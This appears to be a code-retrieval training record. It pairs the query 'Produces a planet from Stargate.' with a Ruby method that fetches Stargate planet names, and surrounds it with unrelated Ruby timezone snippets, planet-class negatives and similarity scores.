"def set_time_zone\n Time.use_zone('Europe/Moscow') { yield }\n end",
"def nil_timezone_update\n if current_user.timezonepref.nil?\n parent_id = current_user.parent_id\n parent_timezone = User.find(parent_id).timezonepref\n flash[:error] = 'We strongly suggest that instructors specify their preferred timezone to'\\\n ' guarantee the correct display time. For now we assume you are in ' + parent_timezone\n current_user.timezonepref = parent_timezone\n end\n end",
"def time_zone=(_arg0); end",
"def time_zone=(_arg0); end",
"def set_timezone\n Time.zone = if user_signed_in?\n current_user.timezone\n else\n 'Eastern Time (US & Canada)'\n end\n end",
"def ensure_zone!\n fail \"Must have active connection\" unless @zone\n end",
"def time_zone\n @options[:use_default_time_zone] ? Time.zone_default : Time.zone\n end",
"def user_timezone=(value)\n @user_timezone = value\n end",
"def with_floating_timezone\n dup.set_tzid(:floating)\n end",
"def with_timezone\n Time.use_zone(current_user.try(:get_time_zone)) { yield }\n end",
"def application_setup\n Locale.code = :'en-US' if Locale.code != :'en-US'\n Time.zone = 'America/New_York'\n User.current = nil\n @rolf, @mary, @junk, @dick, @katrina, @roy = User.all\n end",
"def tenant_default_timezone\n return @tenant_default_timezone\n end",
"def created_at\n super.in_time_zone if super\n end",
"def validate_timezone\n self.timezone = 'America/Los_Angeles' if self.timezone.nil?\n if not TZInfo::Timezone.get(self.timezone)\n errors.add(:timezone,'invalid timezone')\n end\n end",
"def set_default_times\n if !self.start\n return\n end\n\n if self.start.hour == 0 # hour set to 0 if not otherwise defined...\n self.start = self.start + 9.hours\n end\n\n if !self.end\n if self.online?\n self.end = self.start + 1.hour\n else\n diff = 17 - self.start.hour\n self.end = self.start + diff.hours\n end\n end\n # TODO: Set timezone for online events. Where to get it from, though?\n # TODO: Check events form to add timezone autocomplete.\n # Get timezones from: https://timezonedb.com/download\n\n end",
"def fix_time_zone\n return true if self.time_zone.nil?\n return true if ActiveSupport::TimeZone[self.time_zone]\n try = self.time_zone.gsub('&', '&')\n self.time_zone = try if ActiveSupport::TimeZone[try]\n end",
"def set_user_time_zone\n Time.zone = current_user.time_zone unless current_user.nil?\n end",
"def setup_time_zone(&block)\n Time.use_zone(Time.find_zone!(@mentor.time_zone.to_i.hours), &block)\n end",
"def execute(sql, name = nil)\n # lol no, won't hit connection pool just for this one\n #\n # if @connection\n # # make sure we carry over any changes to ActiveRecord::Base.default_timezone that have been\n # # made since we established the connection\n # @connection.query_options[:database_timezone] = ActiveRecord::Base.default_timezone\n # end\n\n log(sql, name) { @connection.query(sql) }\n end",
"def timezone_changed?\n changed.include?('timezone')\n end",
"def set_timezone\n offset = [Time.now.beginning_of_year.utc_offset, Time.now.beginning_of_year.change(month: 7).utc_offset].min\n offset *= 3600 if offset.abs < 13\n Time.zone = ActiveSupport::TimeZone.all.select { |zone| zone.utc_offset == offset }.first\nend",
"def force_updated_on_change\n if @current_journal || changed?\n self.updated_on = current_time_from_proper_timezone\n if new_record?\n self.created_on = updated_on\n end\n end\n end",
"def set_time_zone\n Time.use_zone(current_user.time_zone) { yield }\n end",
"def set_timestamps\n self.created_at = Time.now\n #Set updated_at initially before manually setting because column cannot be null.\n self.updated_at = Time.now \n end",
"def set_user_time_zone\n Time.zone = current_user.time_zone if current_user.try(:time_zone)\n end",
"def current_timezone_offset\n 0\n end",
"def timezone=(timezone)\n if !timezone.nil?\n @timezone = ActiveSupport::TimeZone[timezone]\n else\n @timezone = ActiveSupport::TimeZone['Etc/UTC']\n end\n end",
"def set_zone_from_session\n Time.zone = ActiveSupport::TimeZone[session[:timezone_offset]] if session[:timezone_offset]\n end",
"def timezones\n @timezones.freeze\n end",
"def reset\n @time_zone = 'Europe/London'\n @email_address = 'test.test@test.com'\n @start_time = Date.today.to_time + 1\n @end_time = (Date.today + 1).to_time - 1\n end",
"def timezone\n @attributes.fetch('timezone', nil)\n end",
"def set_request\n @timezones = TZInfo::Timezone.all.map { |t| [t.friendly_identifier(true), t.identifier] }.sort\n if @timezones && params[:id]\n @timezone = @timezone.find(params[:id])\n end\n end",
"def test_initialize_datetime_without_timezone()\n assert_raise(RuntimeError) do\n datetime = @ad_manager.datetime(2017, 11, 7, 17, 30, 10)\n end\n end",
"def set_user_time_zone\n Time.zone = current_user.time_zone if current_user\n end",
"def time_zone\n @time_zone\n end",
"def initialize_timezone\n # my_ip = \"93.172.139.218\" # external IP when using my laptop \n my_ip = request.remote_ip\n my_ip_a = my_ip.split(\".\")\n \n my_ip_as_number = my_ip_a[3].to_i + \n (my_ip_a[2].to_i * 256) + \n (my_ip_a[1].to_i * 256 * 256) +\n (my_ip_a[0].to_i * 256 * 256 * 256)\n \n @ip_to_country = IpToCountry.find_by_sql(\"SELECT \" + \n \"ctry, cntry, country \" +\n \"FROM \" + \n \"ip_to_countries \" + \n \"WHERE \" + \n my_ip_as_number.to_s + \" >= ip_from \" +\n \"and \" + my_ip_as_number.to_s + \" <= ip_to\")\n \n if @ip_to_country\n @ip_to_country = @ip_to_country[0]\n session[:language] = 2 if @ip_to_country && @ip_to_country['ctry'] == \"IL\"\n end\n \n end",
"def adjust_timezone(offset)\n if offset\n ActiveSupport::TimeZone[offset]\n adjusted_time = Time.now + offset.seconds\n allow(Time).to receive(:now).and_return(adjusted_time)\n end\nend",
"def configure_connection\n # For sql server 2008+ we want it to send an actual time otherwise comparisons with time columns don't work\n @connection.connection.setSendTimeAsDatetime(false)\n end",
"def tz\n time_zone_adjustment.to_r / (24 * 60)\n end",
"def tz\n time_zone_adjustment.to_r / (24 * 60)\n end",
"def set_timezone\n offset = [ Time.now.beginning_of_year.utc_offset, Time.now.beginning_of_year.change(:month => 7).utc_offset ].min\n offset *= 3600 if offset.abs < 13\n Time.zone = ActiveSupport::TimeZone.all.select { |zone| zone.utc_offset == offset }.first\n end",
"def set_timezone\n if session[:timezone]\n\t Time.zone = session[:timezone][\"name\"]\n\t # flash.now.alert = \"set TZ to \" + session[:timezone][\"name\"]\n\telse\n\t # flash.now.alert = \"TZ is \" + Time.zone.to_s\n\tend\n end",
"def update!(**args)\n @timezone = args[:timezone] if args.key?(:timezone)\n end",
"def set_timezone(&action)\n Time.use_zone(current_user.time_zone, &action)\n end",
"def use_zone(time_zone)\n old_zone, ::Time.zone = ::Time.zone, get_zone(time_zone)\n yield\n ensure\n ::Time.zone = old_zone\n end",
"def timezone\n data[:timezone]\n end",
"def timezone\r\n\t\t@usr_timezone\r\n\tend",
"def set_user_time_zone\n user = current_user || (params[:user_name].presence && User.find_by(:userid => params[:user_name]))\n session[:user_tz] = Time.zone = (user ? user.get_timezone : server_timezone)\n end",
"def set_time_zone\n if logged_in?\n old_time_class = Chronic.time_class\n begin\n Time.use_zone( self.current_user.time_zone ) do\n Chronic.time_class = Time.zone\n yield\n end\n ensure\n Chronic.time_class = old_time_class\n end\n else\n yield\n end\n end",
"def skip_time_zone_conversion_for_attributes\n []\n end",
"def end_at\n super.in_time_zone(time_zone) if super && time_zone\n end",
"def set_user_time_zone\n if logged_in? && !current_user.time_zone.nil?\n Time.zone = current_user.time_zone\n else\n Time.zone = 'Eastern Time (US & Canada)'\n end\n end",
"def user_timezone\n return @user_timezone\n end",
"def zone\n Thread.current[:time_zone] || zone_default\n end"
] |
[
"0.72063774",
"0.71469",
"0.7085934",
"0.69347745",
"0.69347745",
"0.69347745",
"0.69347745",
"0.69347745",
"0.68296355",
"0.6810101",
"0.6745839",
"0.67003363",
"0.6675422",
"0.66668737",
"0.65338117",
"0.6483802",
"0.6407198",
"0.63957036",
"0.6345897",
"0.6341086",
"0.63364244",
"0.6333873",
"0.6333873",
"0.6333873",
"0.6333873",
"0.6333873",
"0.63247466",
"0.63115424",
"0.6266152",
"0.62398493",
"0.62328714",
"0.61935925",
"0.61672926",
"0.61609566",
"0.6106803",
"0.6096226",
"0.60790724",
"0.60537034",
"0.60451674",
"0.60420024",
"0.6003126",
"0.59996724",
"0.5980082",
"0.59398705",
"0.59239644",
"0.591407",
"0.5900488",
"0.5898302",
"0.5884914",
"0.5884914",
"0.5876253",
"0.58750355",
"0.5872618",
"0.5870039",
"0.5862426",
"0.585724",
"0.5852737",
"0.58501947",
"0.5831071",
"0.58157647",
"0.5813204",
"0.58102196",
"0.5804371",
"0.57544816",
"0.5752575",
"0.57368624",
"0.57199126",
"0.5718708",
"0.57184243",
"0.5717877",
"0.57087046",
"0.5695492",
"0.56908244",
"0.5689428",
"0.56874233",
"0.56621575",
"0.56551546",
"0.56541723",
"0.5651818",
"0.5631636",
"0.56312585",
"0.56142086",
"0.56112134",
"0.55974",
"0.5573872",
"0.5573872",
"0.5560564",
"0.5558188",
"0.55575764",
"0.55549926",
"0.5539484",
"0.55329114",
"0.5521488",
"0.55091405",
"0.54873466",
"0.54823554",
"0.5480826",
"0.54690987",
"0.54655045",
"0.5463465"
] |
0.74166185
|
0
|
Produces a planet from Stargate.
|
def planet
fetch('stargate.planets')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create_planet(name, mass, year_length, diameter, number_of_moons, distance_from_sun)\n return Planet.new(name, mass, year_length, diameter, number_of_moons, distance_from_sun)\nend",
"def planet\n fetch('dune.planets')\n end",
"def add_planet\n planet = Planet.new(get_planet_name, get_planet_distance, get_planet_rotation, get_planet_moons)\n return planet\nend",
"def planet; end",
"def planet; end",
"def planet; end",
"def planet; end",
"def planet; end",
"def planet; end",
"def gen_planet(class_map)\n class_map[\"colour\"] = PLANET_COLOURS[class_map[\"type\"].downcase]\n text = \"//#{class_map[\"package\"]} class: #{class_map[\"name\"]}\n#{class_map[\"indexed_name\"]}.setValues({\n name: \\\"#{class_map[\"indexed_name\"]}\\\",\n geometry: new THREE.SphereGeometry(#{class_map[\"radius\"]+0.01}, 10, 10),\n material: new THREE.MeshLambertMaterial({emissive: 0x888888, color: #{class_map[\"colour\"]}, map: planet_texture}),\n origin: #{class_map[\"package\"]}, \n orbitradx: #{(Random.rand(2) == 0)? \"\" : \"-\"}#{class_map[\"orbit\"]}, \n orbitrady: #{(Random.rand(2) == 0)? \"\" : \"-\"}#{class_map[\"orbit\"]}, \n #{(Random.rand(2) == 0)? \"ysin: false\" : \"xsin:false\"},\n rotx: 0.01, \n roty: 0.01, \n rotz: 0.01,\n tfactor: #{1 + Random.rand}});\ncelestials[celestials.length] = #{class_map[\"indexed_name\"]};\\n\\n\"\n return text\nend",
"def planets()\n pseed = @seed.clone\n Enumerator.new do |yielder|\n loop do\n name, new_seed = planet_name(pseed)\n yielder.yield name\n break if new_seed==@seed\n pseed = new_seed\n end\n end\n end",
"def planet_info #(there's no parameter here)\n puts \"#{@name} has #{@orbital} days in one of its years, weighs #{@mass} earth, has #{@moons}, and is #{@distance_from_sun} million miles from the sun.\"\n end",
"def build_planet()\n puts \"\\nAdding planet. Please tell me more about this planet.\"\n \n print \"Enter the planet name: \"\n name = gets.chomp.capitalize\n \n print \"\\nEnter the planet color: \"\n color = gets.chomp.downcase\n \n print \"\\nEnter planet mass in kg: \"\n mass_kg = gets.chomp.to_f\n \n print \"\\nEnter planet's distance from the sun in km: \"\n distance_from_sun_km = gets.chomp.to_f\n \n print \"\\nEnter a fun fact about the planet: \"\n fun_fact = gets.chomp\n \n return Planet.new(name, color, mass_kg, distance_from_sun_km, fun_fact)\n end",
"def show_planet(number)\n selected = @solar_system[number-1]\n\n # Calculate planet related ages\n age = 4.5e9/(selected.rotation_time/12.0)\n age = age.to_i.to_s\n age = age.reverse.scan(/\\d{3}|.+/).join(\",\").reverse\n\n # Calculate the closest neighboring planets\n # Collect names and distances of planets\n distance_and_name = []\n @solar_system.length.times do |i|\n planet_info = {}\n planet_info[:name] = @solar_system[i].name\n planet_info[:distance] = @solar_system[i].distance_from_the_sun\n distance_and_name << planet_info\n end\n # Get only the distances and sort them\n planet_distances = []\n @solar_system.each do |planet|\n planet_distances << planet.distance_from_the_sun\n end\n ordered_planets = planet_distances.sort\n number_index = ordered_planets.index(selected.distance_from_the_sun).to_i\n\n # Find the select planet's distance neighbors (2)\n if (number_index+1) == @solar_system.length\n neighbor1_distance = 0\n neighbor1_difference = 0\n else\n neighbor1_distance = ordered_planets[(number_index+1)]\n neighbor1_difference = (selected.distance_from_the_sun - neighbor1_distance).abs.round(2)\n end\n if (number_index-1) < 0\n neighbor2_distance = 0\n neighbor2_difference = 0\n else\n neighbor2_distance = ordered_planets[(number_index-1)]\n neighbor2_difference = (selected.distance_from_the_sun - neighbor2_distance).abs.round(2)\n end\n neighbor1_name = \"\"\n neighbor2_name = \"\"\n distance_and_name.each do |planet|\n if neighbor1_distance == planet[:distance]\n neighbor1_name << planet[:name]\n end\n if neighbor2_distance == planet[:distance]\n neighbor2_name << planet[:name]\n end\n end\n if neighbor1_distance == 0 && neighbor2_distance == 0\n true_neighbor = \"not to be found\"\n true_distance = \"both infinity and negative infinity\"\n elsif neighbor1_distance == 0 && neighbor2_distance > 0\n true_neighbor = neighbor2_name\n true_distance = neighbor2_difference\n elsif neighbor2_distance == 0 && neighbor1_distance > 0\n true_neighbor = neighbor1_name\n true_distance = neighbor1_difference\n else\n true_neighbor = \"#{neighbor2_name} and #{neighbor1_name}\"\n true_distance = \"#{neighbor2_difference} and #{neighbor1_difference}\"\n end\n\n # Text summary shown to user\n text = \"\\nThe planet \\[#{selected.name}\\] is #{selected.distance_from_the_sun} Astronomical Units from the sun.\n \\rThe closest neighboring planet(s) is/are #{true_neighbor}, which is/are #{true_distance} AU away.\n \\rIt orbits the sun once every #{selected.rotation_time} Earth months, or #{(selected.rotation_time/12.0).round(2)} Earth years.\n \\rSince our sun is 4.5 billion Earth years old, this planet's age is #{age}!\n \\r#{selected.name} also enjoys #{selected.moon_count} moon(s) orbitin' around it.\\n\"\n return text\n end",
"def return_planet\n terrraform_info = \"\"\n if @terraform_state\n terrraform_info = \"Additionally, it has been terraformed.\"\n else\n terrraform_info = \"Additionally, it has not been terraformed.\"\n end\n planet_info = \"#{@name} is a planet located in the #{@location} galaxy. It is a #{@temperature} planet, whose atmosphere is #{@atmosphere} to humans. #{terrraform_info}\"\n return planet_info\n end",
"def set_planet\n end",
"def generate_planet\n puts \"\\nLet's create a planet from scratch.\"\n print \"Please enter its name first: \"\n name = gets.chomp\n print \"What's its diameter of this planet in km? \"\n diameter = gets.chomp.to_f\n print \"What's its mass in kg? (example of input format: 3.30 x 10^23 ) \"\n mass = gets.chomp\n print \"What's the year length of this planet in days? \"\n yr_length = gets.chomp.to_f\n print \"What's the distance from the sun to this planet in km? \"\n dis_from_sun = gets.chomp.to_f\n print \"How many moons does this planet have? Enter 0 if there is none. \"\n moons = gets.chomp.to_i\n planet = Planet.new({\"name\" => name, \"diameter\" => diameter, \"mass\" => mass, \"yr_length\" => yr_length, \"dis_from_sun\" => dis_from_sun, \"moons\" => moons})\n return planet\nend",
"def add_planet_by_name(name)\n planet = get_space_body_by_name(name)[0]\n Planet.new(planet)\n end",
"def planet_params\n params.require(:planet).permit(:name, :rotation_period, :orbital_period, :diameter, :climate, :gravity, :terrain, :surface_water, :population)\n end",
"def each_planet_return\n return \"#{@name} is a planet in the solar system that is #{@distance_from_sun} million miles from the sun and has a year length of #{@planet_year} days.\\n\"\n end",
"def planet_attributes\n return \"name: #{name}\\nmass: #{@mass}\\ndays to orbit star: #{@year_length}\\ndiameter: #{@diameter}\\nnumber of moons: #{@number_of_moons}\\ndistance from sun: #{distance_from_sun} million miles\"\n end",
"def new_planet(planet)\n @planets[planet.name] = planet\n end",
"def list_planets\n planet_string = \"Planets orbiting #{@star_name} \\n\"\n @planets.each_with_index do |planet, index|\n planet_string += \"#{index+1}. #{planet.name} \\n\"\n end\n return planet_string\n end",
"def create_solar_system\n\n # Instantiate Solar System\n solar_system = SolarSystem.new('Sun')\n\n # Add instances of planets to instance of solar system\n mercury = Planet.new('Mercury','dark grey',3.30e23, 57.9, 'Is hot, but not too hot for ice')\n solar_system.add_planet(mercury)\n\n mars = Planet.new('Mars','pale yellow', 6.42e23, 227.9,'Had a thicker atmosphere in the past')\n solar_system.add_planet(mars)\n\n venus = Planet.new('Venus','pale yellow', 4.87e24, 108.2,'A day on Venus is longer than a year')\n solar_system.add_planet(venus)\n\n earth = Planet.new('Earth','blue',5.97e24, 149.6, 'Is the only planet known to support life!')\n solar_system.add_planet(earth)\n\n return solar_system\nend",
"def show\n @planet=Planet.find(params[:id])\n \n end",
"def planet_params\n params.require(:planet).permit(:name, :distance_from_earth, :nearest_star)\n end",
"def build_system(name, planet)\n @planets[name] = planet\n end",
"def get_planet_info\n \"#{@name} has a mass of #{@mass} kilograms, a mean diameter of \" +\n \"#{@diameter} kilometers, and #{@moons} moon(s). It is #{@sun_distance}\" +\n \" million kilometers from the sun and one planetary year on #{@name} is\" +\n \" equal to #{@planetary_year} Earth days. If you were to stand on the \" +\n \" surface of #{@name}, you would experience a gravitational force of \" +\n \"#{@gravity} meters per second squared and a mean temperature of \" +\n \"#{@temp} degrees Kelvin. That's approximately \" +\n \"#{kelvin_to_fahrenheit(@temp).to_i} degrees Fahrenheit! \"\n end",
"def planet_details ()\n return planet_detail = \"\\n#{@name} Planet Information : \\nRadius (mi): #{@radius_mi}\\nDistance from Sun (mi): #{@distance_frm_sun}\\nNumber of moons: #{@num_moons}\\nNumber of suns: #{@num_moons}\\nNumber of days in year: #{@year_in_days}\\n\"\n end",
"def list_planets\n planet_list = \"Planets orbiting #{ @star_name }\\n\"\n @planets.length.times do |add|\n planet_list += \"#{ add + 1 }. #{ @planets[add].name }\\n\"\n end\n\n return planet_list\n end",
"def planet_list\n return @planets\n end",
"def initialize(planet_attributes)\n @name = planet_attributes[:name]\n @moons = planet_attributes[:moons]\n @year_length = planet_attributes[:year_length] # wave 1 enhancement\n @distance_from_sun = planet_attributes[:distance_from_sun] # also wave 1 extra\n @mass = planet_attributes[:mass]\n @diameter = planet_attributes[:diameter]\n @diety = planet_attributes[:diety]\n end",
"def initialize(planet_hash)\n @name = planet_hash[:name]\n @mass = planet_hash[:mass] #unit: (e+24 kg)\n @diameter = planet_hash[:diameter] #unit: (km)\n @number_of_moons = planet_hash[:number_of_moons]\n @distance_from_the_sun = planet_hash[:distance_from_the_sun] #unit: (e+6 km)\n @rate_of_solar_rotation = planet_hash[:rate_of_solar_rotation] #unit: (length of one day in hours)\n @orbital_period = planet_hash[:orbital_period] #unit : (length of year in earth days)\n end",
"def list_planets\n x = \"Planets orbitting #{@star_name}\\n\"\n z = \"\"\n z = z + x\n l = 1\n while l <= @planets.length\n y = \"#{l}. #{@planets[l-1].name}\\n\"\n z += y\n l += 1\n end\n return z\n end",
"def create_planet\n puts \"\\nPlease input the following information about your new planet:\"\n\n puts \"Name of Planet:\"\n new_planet_name = gets.chomp.capitalize\n\n puts \"Distance from sun (in million km):\"\n new_planet_distance_from_sun = gets.chomp.to_i\n\n puts \"Year length (in days):\"\n new_planet_year_length = gets.chomp.to_i\n\n puts \"Diameter (in km):\"\n new_planet_diameter = gets.chomp.to_i\n\n puts \"Affiliated Zodiac Sign\"\n new_planet_zodiac = gets.chomp.capitalize\n\n puts \"Number of moons:\"\n new_planet_num_moons = gets.chomp.to_i\n\n return Planet.new(new_planet_name, new_planet_distance_from_sun, new_planet_year_length, new_planet_diameter, new_planet_zodiac, new_planet_num_moons)\nend",
"def create_planet\n new_planet ={}\n\n print \"\\nWhat is the name of the planet? \"\n new_planet[:name] = gets.chomp.downcase\n\n print \"How old is #{new_planet[:name].each_first_letters} in Earth years? \"\n new_planet[:age] = gets.chomp.to_i\n\n print \"What is the size of #{new_planet[:name].each_first_letters}? \"\n new_planet[:size] = gets.chomp\n\n print \"How many visitors does #{new_planet[:name].each_first_letters} get? \"\n new_planet[:visitor_count] = gets.chomp\n\n print \"Who or what are #{new_planet[:name].each_first_letters} inhabitants? \"\n new_planet[:inhabitants] = gets.chomp\n\n new_planet = Planet.new(new_planet)\n\n return new_planet\nend",
"def list_planets\n planet_list = \"Planets orbiting #{@star_name}:\"\n @planets.each_with_index do |planet, index|\n planet_list += \"\\n#{index + 1}. #{planet.name}\"\n end\n return planet_list\n end",
"def create\n @planet = Planet.new(planet_params)\n\n respond_to do |format|\n if @planet.save\n format.html { redirect_to @planet, notice: 'Planet was successfully created.' }\n format.json { render :show, status: :created, location: @planet }\n else\n format.html { render :new }\n format.json { render json: @planet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @planet = Planet.new(planet_params)\n\n respond_to do |format|\n if @planet.save\n format.html { redirect_to @planet, notice: 'Planet was successfully created.' }\n format.json { render :show, status: :created, location: @planet }\n else\n format.html { render :new }\n format.json { render json: @planet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def initialize(planet_hash)\n @name = planet_hash[:name]\n @moons = planet_hash[:moons]\n @diameter = planet_hash[:diameter]\n @position = planet_hash[:position]\n @type = planet_hash[:type]\n @distance = planet_hash[:distance_from_the_sun]\n @solar_revolution = planet_hash[:solar_revolution]\n end",
"def initialize(planet_hash)\n @name = planet_hash[:name]\n @orbital = planet_hash[:orbital]\n @mass = planet_hash[:mass_in_earths]\n @moons = planet_hash[:moons]\n @distance_from_sun = planet_hash[:distance_from_sun]\n end",
"def define_new_planet\n print \"\\nWhat is the name of the planet? \"\n planet_name = gets.chomp.capitalize\n print \"What is the diameter of #{planet_name} (in miles)? \"\n planet_diameter = gets.chomp.to_i\n print \"What is #{planet_name}'s distance from the sun (in millions of miles): \"\n planet_distance_from_sun = gets.chomp.to_f\n print \"What is the #{planet_name}'s year length (in Earth years)? \"\n planet_year_length = gets.chomp.to_f\n print \"How many moon's does #{planet_name} have? \"\n planet_moons = gets.chomp.to_i\n return new_planet = Planet.new(planet_name, planet_diameter, planet_distance_from_sun, planet_year_length, planet_moons)\nend",
"def add_initial_planets(solar_system)\n earth = Planet.new('Earth', 'blue-green', 5.972e24, 1.496e16, 'Only planet known to support life')\n cyborg = Planet.new('Cyborg', 'neon green', 10.993e24, 2.496e90, 'Humans have not yet discovered this planet' )\n mars = Planet.new('Mars', 'red', 9.972e24, 2.496e16, 'This planet was named after the Roman god of war')\n solar_system.add_planet(earth)\n solar_system.add_planet(cyborg)\n solar_system.add_planet(mars)\nend",
"def print_planet_info\n puts \"☛ Planet #{@name} takes #{@year_length} earth days to go around its star.✰\".bold\n puts \"\"\n puts \"◆ It is #{@distance_from_the_sun} kilometers away from the sun ☀️ and has a mass of #{@mass} kilogram.\".bold\n puts \"\"\n puts \"◆ It's diameter is #{@diameter} kilometer and it has these atmospheric components: #{@atmospheric_components}.\".bold\n puts \"\"\n end",
"def initialize(planet_attributes)\n @name = planet_attributes[:name]\n @age = planet_attributes[:age]\n @size = planet_attributes[:size]\n @visitor_count = planet_attributes[:visitor_count]\n @inhabitants = planet_attributes[:inhabitants]\n end",
"def create(data)\n @planet_model.create(data)\n end",
"def list_planets\n list = \"Planets orbiting #{@star_name}:\\n\"\n @planets.each do |planet|\n list += \"* #{planet.name}\\n\"\n end\n list += \"\\n\"\n return list\n end",
"def set_planet\n @planet = Planet.find(params[:id])\n end",
"def set_planet\n @planet = Planet.find(params[:id])\n end",
"def get_list_of_planets\n planets = get_space_bodies.select{|body| body[\"isPlanet\"] == true}\n end",
"def planets\n # go through my colonies\n self.colonies.map do |my_colony|\n # get the information about each planet the colony is on\n my_colony.planet\n end\n end",
"def planet_params\n params.require(:planet).permit(:name)\n end",
"def planet_add(planet)\n @planets.push(planet)\n return @planets\n end",
"def planet_add(planet)\n @planets.push(planet)\n return @planets\n end",
"def planet_list\n list = \"\"\n @planets.each_with_index do |planet, i|\n list += \" #{i+1}. #{planet.name}\\n\"\n end\n return list\n end",
"def list_planets\n str = \"Planets orbiting #{@star_name}:\\n\"\n count = 0\n @planets.each do |planet|\n count += 1\n str += \"#{count.to_s}. #{planet.name}\\n\"\n end\n return str\n end",
"def user_planet(solar_system)\n puts \"Your new planet will need a name: \"\n name = gets.chomp\n puts \"Tell me more about planet #{name}! Just hit return (enter) on your keyboard if don't know the value.\"\n puts \"Position from its star (star is position 0): \"\n position = gets.chomp\n puts \"Mass: \"\n mass = gets.chomp\n puts \"Radius: \"\n radius = gets.chomp\n puts \"Orbital Period (days to get around the star once): \"\n orbital_period = gets.chomp\n star = solar_system\n\n user_planet = Planet.new(name, position, mass, radius, orbital_period, star)\n end",
"def create\n @backend_planet = Backend::Planet.new(params[:backend_planet])\n\n respond_to do |format|\n if @backend_planet.save\n format.html { redirect_to @backend_planet, notice: 'Planet was successfully created.' }\n format.json { render json: @backend_planet, status: :created, location: @backend_planet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @backend_planet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def return_planet_object(planet_name)\n planets_collection.each do |planet|\n if planet.name == planet_name\n return planet.planet_output\n #once we get a match\n end\n end\n end",
"def generate()\n\t\t# first generate at least one star\n\t\t\n\t\tcx = centerX\n\t\tcy = centerY\n\t\tstarPos = randomLocation(cx, cy, SolarSystemRadius)\n\t\tstar = generateNewCelestialBody(starPos[0], starPos[1], 'star')\n\t\t\n\t\t# possibly another star\n\t\tif rand < ProbabilitySecondStar\n\t\t\tstarPos2 = randomDistantPosition\n\t\t\tstar2 = generateNewCelestialBody(starPos2[0], starPos2[1], 'star')\n\t\tend\n\t\t\n\t\tnumPlanets = Random.rand(MedianNumPlanets-NumPlanetsVariation...MedianNumPlanets+NumPlanetsVariation)\n\t\tnumPlanets.times do\n\t\t\tplanetPos = randomDistantPosition\n\t\t\tplanet = generateNewCelestialBody(planetPos[0], planetPos[1], 'planet')\n\t\tend\n\tend",
"def list_planets\n i = 1\n planets_list = \"\"\n @planets.each do |planet|\n planets_list += \"#{i}. #{planet.name}\\n\"\n i += 1\n end\n return \"Planets orbiting #{@star_name}:\\n#{planets_list}\"\n end",
"def list_planets\n list_planets = \"Planets orbiting #{star_name} \\n\"\n\n @planets.each_with_index do |planet, index|\n list_planets = \"#{list_planets}\" + \"#{index + 1}. #{planet.name}\\n\"\n end\n\n return list_planets\n end",
"def add_planet_from_user\n print \"What is the name of the planet you would like to add? \"\n name = gets.chomp.capitalize\n\n print \"What color is the planet? \"\n color = gets.chomp.downcase\n\n print \"What is the mass of the planet in kilograms? \"\n mass = gets.chomp.to_i\n\n print \"How far away is the planet from the sun in kilometers? \"\n distance = gets.chomp.to_i\n\n print \"Let's add a fun fact about the planet! Complete the sentence. #{name}..\"\n fact = gets.chomp.downcase\n\n new_planet = Planet.new(name, color, mass, distance, fact)\n return new_planet\n end",
"def planets; end",
"def add_planet\n\t\tputs \"Would you like to add a planet? Enter Y/N\".colorize(:blue)\n\t\tanswer = gets.chomp.downcase\n\t\tif answer == \"y\"\n\t\t\tputs \"Great! Please enter the name of planet.\"\n\t\t\tname = gets.chomp\n\t\t\tputs \"Now enter the diameter of your planet.\"\n\t\t\tdiameter = gets.chomp\n\t\t\tputs \"What is the mass of your new planet?\"\n\t\t\tmass = gets.chomp\n\t\t\tputs \"How many moons?\"\n\t\t\tmoons = gets.chomp\n\t\t\tputs \"Is there life on your planet? Please enter \\\"Y\\\" or \\\"N\\\".\"\n\t\t\tlife = gets.chomp.downcase\n\t\t\t\tif life == \"y\"\n\t\t\t\t\tlife = true\n\t\t\t\telse \n\t\t\t\t\tlife = false\n\t\t\t\tend\n\t\t\tputs \"Finally, what is the solar rotation of your planet?\"\n\t\t\trotation = gets.chomp\n\t\t\t@new_planet = Planet.new(name: name, diameter: diameter, mass: mass, moons: moons, life: life, rotation: rotation)\n\t\t\t@planets.push(new_planet)\n\t\t\tputs \"Great! #{name} is born!\".colorize(:blue)\n\t\telse\n\t\t\tputs \"Fine. I didn't want your planets anyway.\".colorize(:blue)\n\t\tend\n\tend",
"def initialize (solar_system)\n @planet_list = solar_system\n end",
"def add_planet(planet)\n @planet << planet\n end",
"def planet_name(planet_seed)\n s = planet_seed.clone\n pairs = 4.times.collect do\n pair = letter_pair(s)\n s = next_fib_triple(s)\n pair\n end \n pairs = pairs.take(3) unless long_name?(planet_seed)\n return pairs.join.capitalize, s \n end",
"def add_planet(planet)\n @planets << planet\n end",
"def add_planet(planet)\n @planets << planet\n end",
"def add_planet(planet)\n @planets << planet\n end",
"def add_planet(planet)\n @planets << planet\n end",
"def add_planet(planet)\n @planets << planet\n end",
"def initialize(planets)\n @solar_system = planets\n end",
"def create\n @galaxy = Galaxy.find_by(params[:galaxy_id])\n @star = Star.find_by(id: params[:star_id])\n @planet = @star.planets.new(planet_params)\n\n respond_to do |format|\n if @planet.save\n format.html { redirect_to galaxy_star_path(@galaxy, @star), notice: 'Planet was successfully created.' }\n format.json { render :show, status: :created, location: @planet }\n else\n format.html { render :new }\n format.json { render json: @planet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_planet(new_planet)\n @planets.push(new_planet)\n return @planets\n end",
"def list_planets()\n\t\tplanets_list = @planets.each_with_index.map {|planet,index|\n\t\t\t\"#{index + 1}. #{planet.name}\"}\n\t\tplanets_list.unshift(\"Planets orbiting #{@star_name}:\\n\").to_s\n\t\t\n\t\treturn planets_list \n\tend",
"def list_planets(format)\n planet_list = \"\"\n\n if format == :num\n @planets.each do |planet|\n num = @planets.index(planet)\n planet_list.concat(\"#{num + 1}. #{planet.name}\\n\")\n end\n elsif format == :comma\n @planets.each do |planet|\n planet_list.concat(planet.name + \", \")\n end\n return planet_list.strip.chop\n end\n return planet_list\n end",
"def find_planet_by_name(planet_name_str = \"earth\")\n @planets.each do |planet|\n if planet_name_str.upcase == planet.name.upcase\n return planet\n end\n end\n # Return false if planet not found\n return nil\n end",
"def add_planet(new_planet)\n return @planets << new_planet\n end",
"def add_planet(planet_to_add)\n @planets << planet_to_add\n end",
"def add_planet(planet)\n\t\t@planets << planet\n\tend",
